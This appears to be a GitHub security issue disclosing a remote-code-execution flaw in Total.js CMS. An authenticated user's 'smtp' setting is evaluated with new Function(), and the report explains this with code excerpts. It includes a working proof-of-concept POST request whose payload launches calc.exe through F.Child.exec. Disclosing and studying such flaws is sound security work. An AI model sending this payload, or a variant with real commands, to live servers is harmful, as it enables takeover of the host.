Skip to content

Remote Code Execution via unsanitized smtp setting evaluated with new Function() #53

Description

@orca0xeaa5a

Remote Code Execution via unsanitized smtp setting evaluated with new Function() (Settings/save)

Summary

The admin Settings/save action (plugins/settings/schemas/settings.js) copies attacker-controlled HTTP input into the CMS configuration and immediately reloads it.
Total.js evaluates the smtp / mail / mail_smtp_options configuration values as JavaScript via new Function('return ' + value)().
Because the CMS forwards the raw HTTP-supplied string into this path without any type discrimination or whitelisting, an authenticated user with the settings (or admin) permission can achieve remote code execution in the context of the CMS process.

If an attacker gains CMS admin privileges, he can take control of the server running the CMS. This involves crossing the privilege boundary between the web application and the system.

Affected component

  • Repository: totaljs/cms (https://github.com/totaljs/cms/tree/master), (https://github.com/totaljs/cms/tree/v17)
  • File: plugins/settings/schemas/settings.jsSettings/save action
  • Route: plugins/settings/index.jsROUTE('+API ? +settings_save --> Settings/save')
  • Reload path: definitions/func.jsFUNC.reconfigure()LOADCONFIG()
  • Sink (dependency): total5 loadconfig()new Function('return ' + val)() for smtp / mail /
    mail_smtp_options
  • Verified against two branches (runtime, calc.exe launched on both), Node.js 24 on Windows:
    • master (package.json 1.0.0) with total5 0.0.18
    • v17 (package.json 17.0.0) with total5 0.0.19-1 (beta)

Prerequisites

  • A session with the settings or admin permission. In the default single-admin deployment this is the admin account; in OpenPlatform / multi-user deployments it is any user granted settings.

Description / Root cause

Settings/save copies every submitted key straight into the live config and then reloads it:

// plugins/settings/schemas/settings.js  (Settings/save)
for (var key in model) {
    if (key !== 'items')
        MAIN.db.config[key] = model[key];   // <-- attacker-controlled 'smtp' stored verbatim
}
// ... items[] loop ...
FUNC.reconfigure();                          // <-- pushes config into LOADCONFIG()
FUNC.save();

FUNC.reconfigure() forwards the config to LOADCONFIG():

// definitions/func.js  (FUNC.reconfigure)
for (var key in MAIN.db.config)
    config[key] = MAIN.db.config[key];
LOADCONFIG(config);

Inside total5, loadconfig() treats smtp / mail / mail_smtp_options as evaluable expressions:

// total5/index.js  (loadconfig)
case 'smtp':
case 'mail':
    if (typeof(val) === 'string')
        val = new Function('return ' + val)();   // <-- code execution
    ...

This design assumes configuration originates from a trusted local config file.
The CMS breaks that assumption by exposing the same config surface over an authenticated HTTP API and passing the value through unchanged — a trust-boundary confusion.
The items[] branch of the same action (MAIN.db.config[m.id] = m.value with no whitelist on m.id) allows reaching mail_smtp_options via the
same sink as well.

Proof of Concept

The payload below is intentionally limited to launching calc.exe as a harmless indicator.
Any OS command can be executed via the same path. total5 exposes global.F.Child (child_process), so no require is needed inside the evaluated function.

  1. Authenticate as a user with the settings permission and obtain the session cookie.
  2. Send:
POST /admin/ HTTP/1.1
Host: <target>
Content-Type: application/json
Cookie: <session cookie>

{"schema":"settings_save","data":{"name":"CMS","smtp":"(function(){F.Child.exec('calc.exe');return {server:'poc'};})()","items":[]}}
  1. FUNC.reconfigure() runs synchronously during request handling; the evaluated function executes and
    calc.exe (CalculatorApp.exe) launches on the server.

Observed result (isolated local instance, Node 24 / Windows 11):

calc.exe launched: CalculatorApp.exe  -> RCE confirmed

Impact

  • Arbitrary OS command execution as the CMS process.
  • Breaks the intended privilege boundary: a "settings editor" becomes a server operator.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions